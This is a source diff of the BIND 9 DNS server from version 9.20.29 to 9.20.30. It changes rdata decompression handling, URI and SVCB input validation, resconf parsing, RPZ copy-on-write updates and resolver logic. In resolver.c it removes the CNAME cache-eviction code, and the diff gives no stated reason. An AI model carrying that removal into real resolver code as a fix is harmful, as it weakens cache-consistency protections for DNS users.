2026-09-11 19:41:01.528331644 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/mg_8.c 2026-10-12 13:12:08.443900681 +0000 @@ -70,7 +70,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/minfo_14.c bind9-9.20.30/lib/dns/rdata/generic/minfo_14.c --- bind9-9.20.29/lib/dns/rdata/generic/minfo_14.c 2026-09-11 19:41:01.528331644 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/minfo_14.c 2026-10-12 13:12:08.443900681 +0000 @@ -101,7 +101,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&rmail, NULL); dns_name_init(&email, NULL); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/mr_9.c bind9-9.20.30/lib/dns/rdata/generic/mr_9.c --- bind9-9.20.29/lib/dns/rdata/generic/mr_9.c 2026-09-11 19:41:01.528331644 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/mr_9.c 2026-10-12 13:12:08.443900681 +0000 @@ -70,7 +70,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/mx_15.c bind9-9.20.30/lib/dns/rdata/generic/mx_15.c --- bind9-9.20.29/lib/dns/rdata/generic/mx_15.c 2026-09-11 19:41:01.529331668 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/mx_15.c 2026-10-12 13:12:08.444900703 +0000 @@ -135,7 +135,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/naptr_35.c bind9-9.20.30/lib/dns/rdata/generic/naptr_35.c --- bind9-9.20.29/lib/dns/rdata/generic/naptr_35.c 2026-09-11 19:41:01.529331668 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/naptr_35.c 2026-10-12 13:12:08.444900703 +0000 @@ -312,8 +312,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); /* diff -Nru bind9-9.20.29/lib/dns/rdata/generic/ns_2.c bind9-9.20.30/lib/dns/rdata/generic/ns_2.c --- bind9-9.20.29/lib/dns/rdata/generic/ns_2.c 2026-09-11 19:41:01.529331668 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/ns_2.c 2026-10-12 13:12:08.444900703 +0000 @@ -81,7 +81,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/nsec_47.c bind9-9.20.30/lib/dns/rdata/generic/nsec_47.c --- bind9-9.20.29/lib/dns/rdata/generic/nsec_47.c 2026-09-11 19:41:01.530331692 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/nsec_47.c 2026-10-12 13:12:08.445900724 +0000 @@ -85,8 +85,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); RETERR(dns_name_fromwire(&name, source, dctx, target)); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/nxt_30.c bind9-9.20.30/lib/dns/rdata/generic/nxt_30.c --- bind9-9.20.29/lib/dns/rdata/generic/nxt_30.c 2026-09-11 19:41:01.530331692 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/nxt_30.c 2026-10-12 13:12:08.445900724 +0000 @@ -144,8 +144,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); RETERR(dns_name_fromwire(&name, source, dctx, target)); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/proforma.c bind9-9.20.30/lib/dns/rdata/generic/proforma.c --- bind9-9.20.29/lib/dns/rdata/generic/proforma.c 2026-09-11 19:41:01.531331716 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/proforma.c 2026-10-12 13:12:08.446900745 +0000 @@ -40,9 +40,6 @@ REQUIRE(type == dns_rdatatype_proforma.c #); REQUIRE(rdclass == #); - /* see RFC 3597 */ - dctx = dns_decompress_setpermitted(dctx, false); - return ISC_R_NOTIMPLEMENTED; } @@ -51,9 +48,6 @@ REQUIRE(rdata->rdclass == #); REQUIRE(rdata->length != 0); /* XXX */ - /* see RFC 3597 */ - dns_compress_setpermitted(cctx, false); - return ISC_R_NOTIMPLEMENTED; } diff -Nru bind9-9.20.29/lib/dns/rdata/generic/ptr_12.c bind9-9.20.30/lib/dns/rdata/generic/ptr_12.c --- bind9-9.20.29/lib/dns/rdata/generic/ptr_12.c 2026-09-11 19:41:01.531331716 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/ptr_12.c 2026-10-12 13:12:08.446900745 +0000 @@ -83,7 +83,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/rp_17.c bind9-9.20.30/lib/dns/rdata/generic/rp_17.c --- bind9-9.20.29/lib/dns/rdata/generic/rp_17.c 2026-09-11 19:41:01.532331740 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/rp_17.c 2026-10-12 13:12:08.447900767 +0000 @@ -103,8 +103,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&rmail, NULL); dns_name_init(&email, NULL); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/rrsig_46.c bind9-9.20.30/lib/dns/rdata/generic/rrsig_46.c --- bind9-9.20.29/lib/dns/rdata/generic/rrsig_46.c 2026-09-11 19:41:01.532331740 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/rrsig_46.c 2026-10-12 13:12:08.447900767 +0000 @@ -312,8 +312,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - isc_buffer_activeregion(source, &sr); /* * type covered: 2 diff -Nru bind9-9.20.29/lib/dns/rdata/generic/rt_21.c bind9-9.20.30/lib/dns/rdata/generic/rt_21.c --- bind9-9.20.29/lib/dns/rdata/generic/rt_21.c 2026-09-11 19:41:01.532331740 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/rt_21.c 2026-10-12 13:12:08.447900767 +0000 @@ -98,8 +98,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); isc_buffer_activeregion(source, &sregion); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/sig_24.c bind9-9.20.30/lib/dns/rdata/generic/sig_24.c --- bind9-9.20.29/lib/dns/rdata/generic/sig_24.c 2026-09-11 19:41:01.532331740 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/sig_24.c 2026-10-12 13:12:08.447900767 +0000 @@ -267,8 +267,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - isc_buffer_activeregion(source, &sr); /* * type covered: 2 diff -Nru bind9-9.20.29/lib/dns/rdata/generic/soa_6.c bind9-9.20.30/lib/dns/rdata/generic/soa_6.c --- bind9-9.20.29/lib/dns/rdata/generic/soa_6.c 2026-09-11 19:41:01.533331764 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/soa_6.c 2026-10-12 13:12:08.448900788 +0000 @@ -169,7 +169,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&mname, NULL); dns_name_init(&rname, NULL); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/talink_58.c bind9-9.20.30/lib/dns/rdata/generic/talink_58.c --- bind9-9.20.29/lib/dns/rdata/generic/talink_58.c 2026-09-11 19:41:01.534331788 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/talink_58.c 2026-10-12 13:12:08.449900809 +0000 @@ -90,8 +90,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&prev, NULL); dns_name_init(&next, NULL); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/tkey_249.c bind9-9.20.30/lib/dns/rdata/generic/tkey_249.c --- bind9-9.20.29/lib/dns/rdata/generic/tkey_249.c 2026-09-11 19:41:01.534331788 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/tkey_249.c 2026-10-12 13:12:08.449900809 +0000 @@ -255,8 +255,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - /* * Algorithm. */ diff -Nru bind9-9.20.29/lib/dns/rdata/generic/uri_256.c bind9-9.20.30/lib/dns/rdata/generic/uri_256.c --- bind9-9.20.29/lib/dns/rdata/generic/uri_256.c 2026-09-11 19:41:01.534331788 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/uri_256.c 2026-10-12 13:12:08.449900809 +0000 @@ -49,11 +49,13 @@ RETERR(uint16_tobuffer(token.value.as_ulong, target)); /* - * Target URI + * Target URI (non empty). */ RETERR(isc_lex_getmastertoken(lexer, &token, isc_tokentype_qstring, false)); - if (token.type != isc_tokentype_qstring) { + if (token.type != isc_tokentype_qstring || + token.value.as_textregion.length == 0) + { RETTOK(DNS_R_SYNTAX); } RETTOK(multitxt_fromtext(&token.value.as_textregion, target)); @@ -107,16 +109,12 @@ UNUSED(dctx); /* - * Priority, weight + * Priority, weight and target URI (non empty). */ isc_buffer_activeregion(source, ®ion); - if (region.length < 4) { + if (region.length < 5) { return ISC_R_UNEXPECTEDEND; } - - /* - * Priority, weight and target URI - */ isc_buffer_forward(source, region.length); return mem_tobuffer(target, region.base, region.length); } @@ -208,7 +206,7 @@ REQUIRE(rdata->type == dns_rdatatype_uri); REQUIRE(uri != NULL); - REQUIRE(rdata->length >= 4); + REQUIRE(rdata->length > 4); DNS_RDATACOMMON_INIT(uri, rdata->type, rdata->rdclass); diff -Nru bind9-9.20.29/lib/dns/rdata/in_1/a6_38.c bind9-9.20.30/lib/dns/rdata/in_1/a6_38.c --- bind9-9.20.29/lib/dns/rdata/in_1/a6_38.c 2026-09-11 19:41:01.535331812 +0000 +++ bind9-9.20.30/lib/dns/rdata/in_1/a6_38.c 2026-10-12 13:12:08.450900831 +0000 @@ -159,8 +159,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - isc_buffer_activeregion(source, &sr); /* * Prefix length. diff -Nru bind9-9.20.29/lib/dns/rdata/in_1/apl_42.c bind9-9.20.30/lib/dns/rdata/in_1/apl_42.c --- bind9-9.20.29/lib/dns/rdata/in_1/apl_42.c 2026-09-11 19:41:01.536331835 +0000 +++ bind9-9.20.30/lib/dns/rdata/in_1/apl_42.c 2026-10-12 13:12:08.451900852 +0000 @@ -275,8 +275,7 @@ isc_buffer_init(&b, apl->apl, apl->apl_len); isc_buffer_add(&b, apl->apl_len); isc_buffer_setactive(&b, apl->apl_len); - return fromwire_in_apl(rdclass, type, &b, DNS_DECOMPRESS_DEFAULT, - target); + return fromwire_in_apl(rdclass, type, &b, NULL, target); } static isc_result_t diff -Nru bind9-9.20.29/lib/dns/rdata/in_1/kx_36.c bind9-9.20.30/lib/dns/rdata/in_1/kx_36.c --- bind9-9.20.29/lib/dns/rdata/in_1/kx_36.c 2026-09-11 19:41:01.537331860 +0000 +++ bind9-9.20.30/lib/dns/rdata/in_1/kx_36.c 2026-10-12 13:12:08.452900874 +0000 @@ -90,8 +90,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); isc_buffer_activeregion(source, &sregion); diff -Nru bind9-9.20.29/lib/dns/rdata/in_1/nsap-ptr_23.c bind9-9.20.30/lib/dns/rdata/in_1/nsap-ptr_23.c --- bind9-9.20.29/lib/dns/rdata/in_1/nsap-ptr_23.c 2026-09-11 19:41:01.537331860 +0000 +++ bind9-9.20.30/lib/dns/rdata/in_1/nsap-ptr_23.c 2026-10-12 13:12:08.452900874 +0000 @@ -75,8 +75,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); } diff -Nru bind9-9.20.29/lib/dns/rdata/in_1/px_26.c bind9-9.20.30/lib/dns/rdata/in_1/px_26.c --- bind9-9.20.29/lib/dns/rdata/in_1/px_26.c 2026-09-11 19:41:01.538331883 +0000 +++ bind9-9.20.30/lib/dns/rdata/in_1/px_26.c 2026-10-12 13:12:08.452900874 +0000 @@ -121,8 +121,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); /* diff -Nru bind9-9.20.29/lib/dns/rdata/in_1/srv_33.c bind9-9.20.30/lib/dns/rdata/in_1/srv_33.c --- bind9-9.20.29/lib/dns/rdata/in_1/srv_33.c 2026-09-11 19:41:01.538331883 +0000 +++ bind9-9.20.30/lib/dns/rdata/in_1/srv_33.c 2026-10-12 13:12:08.452900874 +0000 @@ -150,8 +150,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); /* diff -Nru bind9-9.20.29/lib/dns/rdata/in_1/svcb_64.c bind9-9.20.30/lib/dns/rdata/in_1/svcb_64.c --- bind9-9.20.29/lib/dns/rdata/in_1/svcb_64.c 2026-09-11 19:41:01.538331883 +0000 +++ bind9-9.20.30/lib/dns/rdata/in_1/svcb_64.c 2026-10-12 13:12:08.453900895 +0000 @@ -193,7 +193,7 @@ goto finish; } /* Handle keyXXXXX form. */ - if (strncmp(region->base, "key", 3) != 0) { + if (!isc_string_hasprefix(region->base, "key")) { return DNS_R_SYNTAX; } isc_textregion_consume(region, 3); @@ -270,7 +270,10 @@ RETERR(alpn_fromtxt(region, target)); break; case sbpr_port: - if (!isdigit((unsigned char)*region->base)) { + if (!isdigit((unsigned char)*region->base) || + /* Reject embedded NUL bytes. */ + memchr(region->base, 0, region->length) != NULL) + { return DNS_R_SYNTAX; } ul = strtoul(region->base, &e, 10); @@ -283,6 +286,10 @@ RETERR(uint16_tobuffer(ul, target)); break; case sbpr_ipv4s: + /* Reject embedded NUL bytes. */ + if (memchr(region->base, 0, region->length) != NULL) { + return DNS_R_SYNTAX; + } do { snprintf(tbuf, sizeof(tbuf), "%*s", (int)(region->length), region->base); @@ -299,6 +306,10 @@ } while (e != NULL); break; case sbpr_ipv6s: + /* Reject embedded NUL bytes. */ + if (memchr(region->base, 0, region->length) != NULL) { + return DNS_R_SYNTAX; + } do { snprintf(tbuf, sizeof(tbuf), "%*s", (int)(region->length), region->base); @@ -315,6 +326,10 @@ } while (e != NULL); break; case sbpr_base64: + /* Reject embedded NUL bytes. */ + if (memchr(region->base, 0, region->length) != NULL) { + return DNS_R_SYNTAX; + } RETERR(isc_base64_decodestring(region->base, target)); break; case sbpr_empty: @@ -780,8 +795,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); /* diff -Nru bind9-9.20.29/lib/dns/rdata.c bind9-9.20.30/lib/dns/rdata.c --- bind9-9.20.29/lib/dns/rdata.c 2026-09-11 19:41:01.519331428 +0000 +++ bind9-9.20.30/lib/dns/rdata.c 2026-10-12 13:12:08.435900510 +0000 @@ -86,7 +86,7 @@ #define ARGS_FROMWIRE \ int rdclass, dns_rdatatype_t type, isc_buffer_t *source, \ - dns_decompress_t dctx, isc_buffer_t *target + dns_decompress_t *dctx, isc_buffer_t *target #define CALL_FROMWIRE rdclass, type, source, dctx, target @@ -591,7 +591,7 @@ dns_fixedname_t fixed; RETERR(dns_name_fromwire(dns_fixedname_initname(&fixed), source, - DNS_DECOMPRESS_NEVER, NULL)); + NULL, NULL)); } else if (alg == DNS_KEYALG_PRIVATEOID) { /* * Check that we can extract the OID from the start of the @@ -949,7 +949,7 @@ isc_result_t dns_rdata_fromwire(dns_rdata_t *rdata, dns_rdataclass_t rdclass, dns_rdatatype_t type, isc_buffer_t *source, - dns_decompress_t dctx, isc_buffer_t *target) { + dns_decompress_t *dctx, isc_buffer_t *target) { isc_result_t result = ISC_R_NOTIMPLEMENTED; isc_region_t region; isc_buffer_t ss; @@ -975,6 +975,9 @@ activelength = isc_buffer_activelength(source); INSIST(activelength < 65536); + /* types that allow compression will reset this below */ + dns_decompress_setpermitted(dctx, false); + FROMWIRESWITCH if (use_default) { @@ -1067,8 +1070,7 @@ isc_result_t result; isc_buffer_setactive(src, isc_buffer_usedlength(src)); - result = dns_rdata_fromwire(NULL, rdclass, type, src, - DNS_DECOMPRESS_NEVER, dest); + result = dns_rdata_fromwire(NULL, rdclass, type, src, NULL, dest); return result; } diff -Nru bind9-9.20.29/lib/dns/resconf.c bind9-9.20.30/lib/dns/resconf.c --- bind9-9.20.29/lib/dns/resconf.c 2026-09-11 19:41:01.540331931 +0000 +++ bind9-9.20.30/lib/dns/resconf.c 2026-10-12 13:12:08.454900916 +0000 @@ -48,6 +48,7 @@ #include #include #include +#include #include #include @@ -480,6 +481,7 @@ int delim; isc_result_t result = ISC_R_SUCCESS; char word[RESCONFMAXLINELEN]; + const char *value = NULL; delim = getword(fp, word, sizeof(word)); if (strlen(word) == 0U) { @@ -489,12 +491,18 @@ while (strlen(word) > 0U) { if (strcmp("debug", word) == 0) { conf->resdebug = 1; - } else if (strncmp("ndots:", word, 6) == 0) { - CHECK(resconf_optionnumber(word + 6, &conf->ndots)); - } else if (strncmp("attempts:", word, 9) == 0) { - CHECK(resconf_optionnumber(word + 9, &conf->attempts)); - } else if (strncmp("timeout:", word, 8) == 0) { - CHECK(resconf_optionnumber(word + 8, &conf->timeout)); + } else if ((value = isc_string_stripprefix(word, "ndots:")) != + NULL) + { + CHECK(resconf_optionnumber(value, &conf->ndots)); + } else if ((value = isc_string_stripprefix(word, "attempts" + ":")) != NULL) + { + CHECK(resconf_optionnumber(value, &conf->attempts)); + } else if ((value = isc_string_stripprefix(word, "timeout:")) != + NULL) + { + CHECK(resconf_optionnumber(value, &conf->timeout)); } if (delim == EOF || delim == '\n') { diff -Nru bind9-9.20.29/lib/dns/resolver.c bind9-9.20.30/lib/dns/resolver.c --- bind9-9.20.29/lib/dns/resolver.c 2026-09-11 19:41:01.541331955 +0000 +++ bind9-9.20.30/lib/dns/resolver.c 2026-10-12 13:12:08.456900959 +0000 @@ -67,7 +67,6 @@ #include #include #include -#include #include #include #include @@ -5265,97 +5264,6 @@ return false; } -static void -delete_rrset(fetchctx_t *fctx, dns_dbnode_t *node, dns_rdatatype_t type) { - dns_db_deleterdataset(fctx->cache, node, NULL, type, 0); - dns_db_deleterdataset(fctx->cache, node, NULL, dns_rdatatype_rrsig, - type); -} - -/*% - * Returns true if the rdataset is of type 'type', or type RRSIG - * and covers 'type'. - */ -static inline bool -dns_rdataset_matchestype(const dns_rdataset_t *rdataset, - const dns_rdatatype_t type) { - REQUIRE(DNS_RDATASET_VALID(rdataset)); - - return rdataset->type == type || - (rdataset->type == dns_rdatatype_rrsig && - rdataset->covers == type); -} - -/* - * When caching a CNAME, evict other RRsets at the same owner name, - * according to the RFC specifications. - * - * RFC 1034, 3.6.2: Aliases and canonical names - * If a CNAME RR is present at a node, no other data should be - * present. - * RFC 2181, 10.1: CNAME resource records - * An alias name (label of a CNAME record) may, - * if DNSSEC is in use, have SIG, NXT, and KEY RRs, but may have no - * other data. - * RFC 2535, 2.3.5: Special Considerations with CNAME - * RFC 4034, 3: The RRSIG Resource Record - * Because every authoritative RRset in a zone must be protected by a - * digital signature, RRSIG RRs must be present for names containing a - * CNAME RR. This is a change to the traditional DNS specification - * [RFC1034], which stated that if a CNAME is present for a name, it is - * the only type allowed at that name. - * RFC 4034, 4: The NSEC Resource Record - * Because every authoritative name in a zone must be part of the NSEC - * chain, NSEC RRs must be present for names containing a CNAME RR. - * This is a change to the traditional DNS specification [RFC1034], - * which stated that if a CNAME is present for a name, it is the only - * type allowed at that name. - * - * So types allowed next to CNAME are: KEY, SIG, NXT, RRSIG, and NSEC. - */ -static void -evict_cname_other(fetchctx_t *fctx, dns_dbnode_t *node) { - isc_result_t result; - dns_rdatasetiter_t *rdsiter = NULL; - - result = dns_db_allrdatasets(fctx->cache, node, NULL, DNS_DB_STALEOK, 0, - &rdsiter); - if (result != ISC_R_SUCCESS) { - return; - } - - result = dns_rdatasetiter_first(rdsiter); - while (result == ISC_R_SUCCESS) { - dns_rdataset_t rdataset = DNS_RDATASET_INIT; - dns_rdatasetiter_current(rdsiter, &rdataset); - - if (NEGATIVE(&rdataset)) { - /* Keep all negative entries */ - dns_rdataset_disassociate(&rdataset); - result = dns_rdatasetiter_next(rdsiter); - continue; - } - - /* KEY, NSEC and NXT records are allowed */ - if (dns_rdataset_matchestype(&rdataset, dns_rdatatype_key) || - dns_rdataset_matchestype(&rdataset, dns_rdatatype_nsec) || - dns_rdataset_matchestype(&rdataset, dns_rdatatype_nxt)) - { - dns_rdataset_disassociate(&rdataset); - result = dns_rdatasetiter_next(rdsiter); - continue; - } - - dns_db_deleterdataset(fctx->cache, node, NULL, rdataset.type, - rdataset.covers); - - dns_rdataset_disassociate(&rdataset); - result = dns_rdatasetiter_next(rdsiter); - } - - dns_rdatasetiter_destroy(&rdsiter); -} - /* * After a (non-error) negative-cache add, 'rdataset' is bound to whatever * rdataset the cache authoritatively holds for the queried name and type. @@ -6265,14 +6173,6 @@ } /* - * If CNAME, delete other RRsets at the same name - * from the cache. - */ - if (rdataset->type == dns_rdatatype_cname) { - evict_cname_other(fctx, node); - } - - /* * Enforce the configure maximum cache TTL. */ if (rdataset->ttl > res->view->maxcachettl) { @@ -6571,24 +6471,6 @@ } /* - * Evict CNAME records, according to the RFC rules (see - * evict_cname_other). - * - * Note that a signature is tied to the type it covers - * and is deleted along with the covered RRset in - * 'delete_rrset()'. - */ - if (!dns_rdataset_matchestype(rdataset, - dns_rdatatype_key) && - !dns_rdataset_matchestype(rdataset, - dns_rdatatype_nsec) && - !dns_rdataset_matchestype(rdataset, - dns_rdatatype_nxt)) - { - delete_rrset(fctx, node, dns_rdatatype_cname); - } - - /* * Now we can add the rdataset. */ result = dns_db_addrdataset(fctx->cache, node, NULL, @@ -11286,7 +11168,10 @@ const dns_name_t *name, unsigned int alg) { REQUIRE(VALID_RESOLVER(resolver)); - if ((alg == DST_ALG_DH) || (alg == DST_ALG_INDIRECT)) { + /* + * Reject non DNSSEC code points (includes appropriated code points). + */ + if (!dst_dnssec_algorithm(alg)) { return false; } diff -Nru bind9-9.20.29/lib/dns/rpz.c bind9-9.20.30/lib/dns/rpz.c --- bind9-9.20.29/lib/dns/rpz.c 2026-09-11 19:41:01.541331955 +0000 +++ bind9-9.20.30/lib/dns/rpz.c 2026-10-12 13:12:08.456900959 +0000 @@ -168,10 +168,10 @@ }; /* - * The data for a name in the summary database. This has two pairs of bits - * for policy zones: one pair is for the exact name of the node, such as - * example.com, and the other pair is for a wildcard child such as - * *.example.com. + * The data for a name in the summary database, modified using COW mechanism as + * the search database is lockless. This has two pairs of bits for policy zones: + * one pair is for the exact name of the node, such as example.com, and the + * other pair is for a wildcard child such as *.example.com. */ typedef struct nmdata nmdata_t; struct nmdata { @@ -901,14 +901,6 @@ REQUIRE(rpz != NULL); REQUIRE(rpz->rpzs != NULL && rpz->num < rpz->rpzs->p.num_zones); - /* - * The IPv6 parsing loop below only writes as many words as the - * name has labels, so a name with too few of them would otherwise - * leave part of the key holding whatever was on the caller's - * stack. - */ - *tgt_ip = (dns_rpz_cidr_key_t){ 0 }; - make_addr_set(new_set, DNS_RPZ_ZBIT(rpz->num), rpz_type); ip_labels = dns_name_countlabels(src_name); @@ -1404,7 +1396,7 @@ static isc_result_t add_cidr(dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type, const dns_name_t *src_name) { - dns_rpz_cidr_key_t tgt_ip; + dns_rpz_cidr_key_t tgt_ip = { 0 }; dns_rpz_prefix_t tgt_prefix; dns_rpz_addr_zbits_t set; dns_rpz_cidr_node_t *found = NULL; @@ -1452,6 +1444,9 @@ static nmdata_t * new_nmdata(isc_mem_t *mctx, const dns_name_t *name, const nmdata_t *data) { + REQUIRE(data->set.qname != 0 || data->set.ns != 0 || + data->wild.qname != 0 || data->wild.ns != 0); + nmdata_t *newdata = isc_mem_get(mctx, sizeof(*newdata)); *newdata = (nmdata_t){ .set = data->set, @@ -1475,34 +1470,46 @@ const nmdata_t *new_data) { isc_result_t result; nmdata_t *data = NULL; + nmdata_t merged; result = dns_qp_getname(qp, trig_name, (void **)&data, NULL); - if (result != ISC_R_SUCCESS) { - INSIST(data == NULL); - data = new_nmdata(rpzs->mctx, trig_name, new_data); - result = dns_qp_insert(qp, data, 0); - nmdata_detach(&data); - return result; - } + if (result == ISC_R_SUCCESS) { + /* copy in the bits from the new data */ + merged = (nmdata_t){ + .set.qname = data->set.qname | new_data->set.qname, + .set.ns = data->set.ns | new_data->set.ns, + .wild.qname = data->wild.qname | new_data->wild.qname, + .wild.ns = data->wild.ns | new_data->wild.ns, + }; - /* - * Do not count bits that are already present - */ - if ((data->set.qname & new_data->set.qname) != 0 || - (data->set.ns & new_data->set.ns) != 0 || - (data->wild.qname & new_data->wild.qname) != 0 || - (data->wild.ns & new_data->wild.ns) != 0) - { - result = ISC_R_EXISTS; + /* + * Nothing to add if every bit in new_data is already present. + */ + if (merged.set.qname == data->set.qname && + merged.set.ns == data->set.ns && + merged.wild.qname == data->wild.qname && + merged.wild.ns == data->wild.ns) + { + return ISC_R_EXISTS; + } + + /* + * The leaf may be in use by a lock-free query, so replace + * it with a fresh copy instead of modifying it in place. + */ + RUNTIME_CHECK(dns_qp_deletename(qp, trig_name, NULL, NULL) == + ISC_R_SUCCESS); + + new_data = &merged; } - /* copy in the bits from the new data */ - data->set.qname |= new_data->set.qname; - data->set.ns |= new_data->set.ns; - data->wild.qname |= new_data->wild.qname; - data->wild.ns |= new_data->wild.ns; + data = new_nmdata(rpzs->mctx, trig_name, new_data); - return result; + RUNTIME_CHECK(dns_qp_insert(qp, data, 0) == ISC_R_SUCCESS); + + nmdata_detach(&data); + + return ISC_R_SUCCESS; } static isc_result_t @@ -2320,7 +2327,7 @@ del_cidr(dns_rpz_zone_t *rpz, dns_rpz_type_t rpz_type, const dns_name_t *src_name) { isc_result_t result; - dns_rpz_cidr_key_t tgt_ip; + dns_rpz_cidr_key_t tgt_ip = { 0 }; dns_rpz_prefix_t tgt_prefix; dns_rpz_addr_zbits_t tgt_set; dns_rpz_cidr_node_t *tgt = NULL, *parent = NULL, *child = NULL; @@ -2406,20 +2413,17 @@ static void del_name(dns_rpz_zone_t *rpz, dns_qp_t *qp, dns_rpz_type_t rpz_type, const dns_name_t *src_name) { - isc_result_t result; - char namebuf[DNS_NAME_FORMATSIZE]; - dns_fixedname_t trig_namef; - dns_name_t *trig_name = NULL; - nmdata_t *data = NULL; - nmdata_t del_data; - bool exists; - /* * We need a summary database of names even with 1 policy zone, * because wildcard triggers are handled differently. */ + isc_result_t result; + dns_fixedname_t trig_namef; + dns_name_t *trig_name = dns_fixedname_initname(&trig_namef); + nmdata_t *data = NULL; + nmdata_t del_data; + nmdata_t remaining; - trig_name = dns_fixedname_initname(&trig_namef); /* * Do not worry about invalid rpz owner names. If we are here, then * something relevant was added and so was valid. @@ -2443,37 +2447,28 @@ del_data.wild.qname &= data->wild.qname; del_data.wild.ns &= data->wild.ns; - exists = (del_data.set.qname != 0 || del_data.set.ns != 0 || - del_data.wild.qname != 0 || del_data.wild.ns != 0); + remaining = (nmdata_t){ + .set.qname = data->set.qname & ~del_data.set.qname, + .set.ns = data->set.ns & ~del_data.set.ns, + .wild.qname = data->wild.qname & ~del_data.wild.qname, + .wild.ns = data->wild.ns & ~del_data.wild.ns, + }; - data->set.qname &= ~del_data.set.qname; - data->set.ns &= ~del_data.set.ns; - data->wild.qname &= ~del_data.wild.qname; - data->wild.ns &= ~del_data.wild.ns; + RUNTIME_CHECK(dns_qp_deletename(qp, trig_name, NULL, NULL) == + ISC_R_SUCCESS); - if (data->set.qname == 0 && data->set.ns == 0 && - data->wild.qname == 0 && data->wild.ns == 0) + if (remaining.set.qname != 0 || remaining.set.ns != 0 || + remaining.wild.qname != 0 || remaining.wild.ns != 0) { - result = dns_qp_deletename(qp, trig_name, NULL, NULL); - if (result != ISC_R_SUCCESS) { - /* - * bin/tests/system/rpz/tests.sh looks for - * "rpz.*failed". - */ - dns_name_format(src_name, namebuf, sizeof(namebuf)); - isc_log_write(dns_lctx, DNS_LOGCATEGORY_RPZ, - DNS_LOGMODULE_RBTDB, DNS_RPZ_ERROR_LEVEL, - "rpz del_name(%s) node delete " - "failed: %s", - namebuf, isc_result_totext(result)); - } + nmdata_t *new_data = new_nmdata(rpz->rpzs->mctx, trig_name, + &remaining); + RUNTIME_CHECK(dns_qp_insert(qp, new_data, 0) == ISC_R_SUCCESS); + nmdata_detach(&new_data); } - if (exists) { - RWLOCK(&rpz->rpzs->search_lock, isc_rwlocktype_write); - adj_trigger_cnt(rpz, rpz_type, 